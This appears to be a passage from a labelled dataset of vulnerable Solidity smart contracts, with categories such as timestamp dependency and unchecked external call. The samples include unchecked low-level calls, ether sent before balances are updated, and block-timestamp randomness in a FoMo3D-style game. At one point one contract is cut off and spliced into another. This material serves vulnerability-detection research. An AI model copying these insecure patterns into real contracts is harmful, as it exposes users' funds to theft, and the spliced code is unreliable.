mapping( address => uint256) public stakeHoldersWeight; constructor ( address _targetToken, uint256 _totalStakeHolders, address[] _stakeHolders, uint256[] _weights) public TokenDistributor(_targetToken, _totalStakeHolders, stakeHolders) { if (_stakeHolders.length > 0) { for (uint256 count = 0; count < _stakeHolders.length && count < _totalStakeHolders; count++) { if (_stakeHolders[count] != 0x0) { _setStakeHolder( _stakeHolders[count], _weights[count] ); } } } } function getTotalWeight () public view returns (uint256 _total) { for (uint256 count = 0; count < stakeHolders.length; count++) { _total = _total.add(stakeHoldersWeight[stakeHolders[count]]); } } function getPortion (uint256 _total, uint256 _totalWeight, address _stakeHolder) public view returns (uint256) { uint256 weight = stakeHoldersWeight[_stakeHolder]; return (_total.mul(weight)).div(_totalWeight); } function getPortion (uint256 _total) public view returns (uint256) { revert(""Kindly indicate stakeHolder and totalWeight""); } function _setStakeHolder (address _stakeHolder, uint256 _weight) internal onlyOwner returns (bool) { stakeHoldersWeight[_stakeHolder] = _weight; require(super._setStakeHolder(_stakeHolder)); return true; } function _setStakeHolder (address _stakeHolder) internal onlyOwner returns (bool) { revert(""Kindly set Weights for stakeHolder""); } function distribute (address _token) public returns (bool) { uint256 balance = getTokenBalance(_token); uint256 totalWeight = getTotalWeight(); if (balance < 1) { emit InsufficientTokenBalance(_token, block.timestamp); return false; } else { for (uint256 count = 0; count < stakeHolders.length; count++) { uint256 perStakeHolder = getPortion(balance, totalWeight, stakeHolders[count]); _transfer(_token, stakeHolders[count], perStakeHolder); } uint256 newBalance = getTokenBalance(_token); if (newBalance > 0) { _transfer(_token, owner, newBalance); } emit TokensDistributed(_token, balance, block.timestamp); return true; } } }",./Dataset/timestamp dependency (TP)/,6,6 34749.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract LebaneseCoin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function LebaneseCoin( ) { balances[msg.sender] = 10452000; // Give the creator all initial tokens (100000 for example) totalSupply = 10452000; // Update total supply (100000 for example) name = ""LebaneseCoin""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""LBC""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 21390.sol,"contract Accrual_account { address admin = msg.sender; uint targetAmount = 1 ether; mapping(address => uint) public investors; event FundsMove(uint amount,bytes32 typeAct,address adr); function changeAdmin(address _new) { if(_new==0x0)throw; if(msg.sender!=admin)throw; admin=_new; } function FundTransfer(uint _am, bytes32 _operation, address _to, address _feeToAdr) payable { if(msg.sender != address(this)) throw; if(_operation==""In"") { FundsMove(msg.value,""In"",_to); investors[_to] += _am; } else { uint amTotransfer = 0; if(_to==_feeToAdr) { amTotransfer=_am; } else { amTotransfer=_am/100*99; investors[_feeToAdr]+=_am-amTotransfer; } if(_to.call.value(_am)()==false)throw; investors[_to] -= _am; FundsMove(_am, ""Out"", _to); } } function() payable { In(msg.sender); } function Out(uint amount) payable { if(investors[msg.sender] uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin, ""only admin can activate""); require(activated_ == false, ""FOMO Short already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 